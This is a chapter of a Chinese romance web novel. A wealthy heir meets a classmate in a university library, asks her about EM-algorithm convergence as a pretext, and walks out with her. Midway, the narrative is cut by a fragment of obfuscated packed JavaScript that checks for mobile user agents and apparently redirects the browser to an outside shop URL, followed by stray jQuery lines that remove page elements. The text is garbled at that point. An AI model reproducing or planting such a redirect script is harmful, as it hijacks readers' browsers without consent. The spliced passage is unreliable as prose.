图书馆三楼“小客厅”最靠边的位置。


    陆忱提前十分钟就到了。


    他选了这个角落——一张深棕色的皮质单人沙发，对面是一把同色系的扶手椅，中间隔着一张矮小的玻璃茶几。


    这个位置靠窗，但窗帘半掩着，既能看到外面的夜色，又不会太暴露在公共视野中。


    他坐下时，旁边几个正在讨论问题的学生不约而同地安静了一瞬。


    陆忱能感觉到那些目光——好奇的，探究的，带着某种距离感的。有人小声说了句“是经管的陆忱”，然后几个人交换了眼神，抱着书往更远的位置挪了挪。


    他苦笑。


    其实一开始父亲陆明璋是不同意他到大学校园里读书的。


    父亲给他请了高咖位、多国的家庭教师，经济学、金融学、管理学，甚至心理学，都是请的领域内顶尖的学者一对一授课。父亲说：“你需要的是最有效率的教育，不是浪费时间在无谓的社交上。”


    但陆忱坚持要来。


    不是因为他多么渴望校园生活，而是因为他觉得自己不应该像一台机器被驯化。他想接触真实的人，想看看正常的大学生活是什么样子，想……证明自己还能成为一个“人”，而不仅仅是一个“继承人”。


    虽然目前看来，没什么人愿意和他接触。


    他们要么觉得他高不可攀，要么觉得他冷漠难近，要么就是带着某种目的性接近——为了陆家的资源，为了未来可能的利益。像程见微这样，单纯因为他这个人而与他交往的，几乎没有。


    不，应该说，只有她一个。


    陆忱坐在那里，面前摊开着一本厚厚的经济学专著——马歇尔的《经济学原理》，精装版，书页边缘已经微微泛黄。但一个字也没看进去。他的手指无意识地摩挲着书页的边缘，纸张因为反复摩擦已经微微起毛，细小的纸屑沾在指尖。


    心跳比平时快，大约每分钟九十二次，他能清晰地感觉到血液在太阳穴处搏动，一下，又一下，像某种无声的倒计时。


    他在等。


    等那熟悉的脚步声，等那个熟悉的身影，等那双琥珀色的眼睛看向他——平静的，清澈的，像能看透一切但又从不评判的眼睛。


    胃部又开始隐隐作痛——不是剧烈的绞痛，而是一种持续的、钝痛的不适感，像有块冰冷的石头一直压在胃里。从周二晚上开始，这种不适感就几乎没有完全消失过。它像一个背景音，提醒着他那些无法解决的问题，那些必须面对的安排，那些……无法言说的渴望。


    但他现在不想去想那些。


    他现在只想见她。


    手机震动，他低头看：


    程见微：到了。你在哪个位置？


    陆忱：小客厅最靠边的位置，靠窗的沙发。


    他发送完消息，抬头看向楼梯口的方向。从这个角度，他能看到“小客厅”的入口，能看到每一个走进来的人。


    然后他看见了她。


    程见微从楼梯间走出来，米白色的针织开衫在图书馆昏黄的灯光下泛着柔和的光泽，像自带一层柔光滤镜。长发还是松松地挽着，但今天用的是那根檀木簪——深褐色，简单的流线型设计，没有多余的装饰。她手里拿着黑色笔记本和那个银色的保温杯，步伐稳定，像往常一样，每一步的距离都几乎相等。


    但陆忱注意到了一些不同。


    她的目光在扫视“小客厅”时，在他身上停留的时间比平时长了大约0.3秒。这0.3秒的延长，普通人不会察觉，但他察觉了。因为他一直在观察她，像她观察他一样，用那种近乎偏执的专注，记录她的每一个细节。


    她走过来，在他对面的扶手椅坐下。


    距离：一米。


    比他们平时在图书馆的距离近得多。她接受了。


    陆忱的心脏又跳快了几拍，但他脸上的表情没有任何变化——这是他从小就学会的技能：用绝对的平静掩饰内心的波动，像给汹涌的暗流盖上厚厚的冰层。


    “谢谢你来。”他说，声音平稳得像在陈述一个事实。


    程见微把笔记本放在茶几上，拧开保温杯喝了一口水。陆忱的目光不由自主地落在杯口——那个小小的凹痕，在灯光下看不清楚，但他知道它在那里，像一个隐秘的标记。他的嘴唇几不可察地抿了一下，喉结轻轻滚动。


    “什么问题？”程见微问，直接切入正题，没有寒暄，没有客套。


    陆忱停顿了一秒。


    实际上，他根本没有算法问题。或者说，他有问题，但不是技术问题，而是更复杂、更无法用代码解决的问题。但他需要一个开场白，一个可以让她坐在这里的开场白，一个不至于太过赤裸的开场白。


    “关于潜在剖面分析的模型收敛问题。”他说，打开随身携带的笔记本电脑，调出一个代码界面。屏幕的光映在他的脸上，让他的轮廓显得更加分明，眼下的阴影也更加深重。“我用EM算法处理混合数据时，有时会陷入局部最优。想问问你有没有遇到过类似情况，以及怎么处理。”


    这是一个真实存在的问题——他确实在项目数据清洗中遇到了。但这个问题并不紧急，也不复杂，他完全可以自己解决，或者晚些时候在群里讨论。他甚至可以问陈默，虽然陈默的技术水平不如程见微，但解决这个问题绰绰有余。


    但他把它拿出来了。


    作为一个理由。


    一个可以让他坐在她对面，看着她，和她说话的理由。


    程见微倾身向前，看向屏幕。她的目光很专注，琥珀色的眼睛在代码的荧光反射下呈现出一种透明的质感，像浸泡在清水里的琥珀。她看了大约三十秒，睫毛偶尔眨动，在眼睑处投下细密的阴影。


    然后她说：


    “你设置的收敛阈值是多少？”


    “1e-6。”


    “太严格了。”程见微说，声音依然很平，“心理学数据通常有较高的噪声，设置太严格的阈值容易导致过度拟合。试试1e-4，或者用BIC准则动态调整。”


    她的回答简洁，精准，直击要害，没有一句废话。


    就像她一贯的风格。


    陆忱点点头，在代码里修改参数。他的手指在键盘上敲击，动作流畅，指节分明，但心思完全不在代码上。他在想：接下来怎么办？问题解决了，她是不是就要走了？他还能找什么理由让她多留一会儿？


    “还有，”程见微继续说，目光依然停留在屏幕上，“你用的初始值是怎么设置的？”


    “随机初始化。”


    “那可能是问题所在。”她说，“EM算法对初始值敏感。试试用K-means聚类的结果作为初始值，或者用多次随机初始化取最优。虽然计算量会增大，但收敛到全局最优的概率更高。”


    陆忱又点点头，照做。


    修长的手指在键盘上快速移动，修改着代码。他能感觉到程见微的目光偶尔会从他脸上扫过，很短暂，但很锐利。像手术刀，轻轻划开表面，试图看到下面的真实。她一定意识到了——意识到了这个问题并不那么紧急，意识到了这次见面可能另有目的。


    但她没有说破。


    没有问“你真的只是因为这个找我吗”，没有露出那种看穿一切的表情，没有表现出任何不耐烦。


    她只是安静地坐在那里，看着他修改代码，偶尔给出建议，像一个真正在帮助同学解决问题的伙伴。


    二十分钟后，所有技术问题都讨论完了。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068336|193824||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >代码运行起来，屏幕上开始滚动输出结果，一切都按照预期进行。问题解决了，没有任何理由再继续这个话题。


    沉默降临。


    陆忱看着屏幕，程见微看着笔记本——她已经合上了笔记本，双手交叠放在膝上，是一个准备离开的姿势。图书馆里很安静，只有远处翻书的声音，和空调系统低沉的嗡鸣，像某种巨大的生物在缓慢呼吸。


    窗外的天色已经完全暗了。玻璃窗变成一面黑色的镜子，倒映出“小客厅”的景象：深棕色的沙发和扶手椅，玻璃茶几，摊开的书本，还有他们两人——隔着桌子坐着，像一幅被定格的生活切片，安静得有些诡异。


    程见微拿起笔记本。


    陆忱的心猛地一沉——她要走了。这个认知像一只手攥住了他的心脏，用力挤压，让他几乎喘不过气。他还没有准备好，还没有说想说的话，还没有……


    但下一秒，他听见她说：


    “你看起来有点累。”


    不是疑问句，是陈述句。声音很平，没有任何情绪色彩，但陆忱觉得这句话像一只手，轻轻握住了他冰冷的心脏，带来一阵短暂但真实的温暖。


    他抬起头，看向她。


    程见微也看着他。她的眼神很平静，但深处有什么东西在流动——不是同情，不是怜悯，而是一种……关注。单纯的，纯粹的关注，像月光只是照在那里，不做任何事，但你知道它在。


    “昨晚没睡好。”他说，说了部分实话。


    实际上，他几乎没睡。从周二晚上开始，睡眠就变成了一种奢侈。闭上眼睛就是父亲毫无表情的脸，是程见微转身离开的背影，是周五即将到来的海城之行，是那个从未谋面的沈雨桐。还有胃部的持续不适，像某种生理性的焦虑，在深夜里尤其清晰，清晰到他能感觉到胃壁每一次微小的痉挛。


    “胃还疼吗？”程见微问，目光落在他放在胃部的手上——他自己都没意识到，他的手一直按在那里。


    陆忱摇摇头：“好多了。”这是个谎言，一个他自己都不相信的谎言。但他不想让她担心——或者更准确地说，他不想让她觉得他脆弱，不想让她觉得他需要被照顾，不想破坏此刻这难得的、平静的相处。


    程见微看了他几秒。


    她的目光很静，像在评估什么。然后她做了一个让陆忱完全没想到的动作。


    她站起身，收拾东西——笔记本放进双肩包侧袋，保温杯拧紧盖子，拉链拉上。但说的不是“那我先走了”，而是：


    “出去走走吧。图书馆里有点闷。”


    陆忱愣住了。


    他的大脑在瞬间空白，然后被一种汹涌的、几乎让他眩晕的喜悦淹没。那喜悦来得太突然，太强烈，像黑暗中突然炸开的烟花，瞬间照亮了他内心所有的阴暗角落。但他没有让这种喜悦表现在脸上——他只是点点头，很平静地说：


    “好。”


    声音平稳得连他自己都惊讶。


    两人一起收拾东西，一前一后走出“小客厅”，走下楼梯。陆忱走在程见微后面一步的位置，目光落在她的背影上。


    米白色的针织开衫随着她的步伐轻轻摆动，下摆在腰际的位置微微起伏。她能看见她后颈处散落的几缕碎发，在灯光下泛着柔软的棕色光泽，像某种珍贵的丝绸。她的肩膀很直，背脊挺拔，走路时重心很稳，每一步都踩得很实。


    他想：她主动提出来走走。


    不是他要的，是她主动的。


    这个认知像一剂强效止痛药，瞬间缓解了胃部的不适，缓解了连日的焦虑，缓解了所有那些阴暗的、沉重的、几乎要将他压垮的思绪。


    他跟着她走出图书馆，走进夜色里。


    脚步轻快得几乎要飞起来。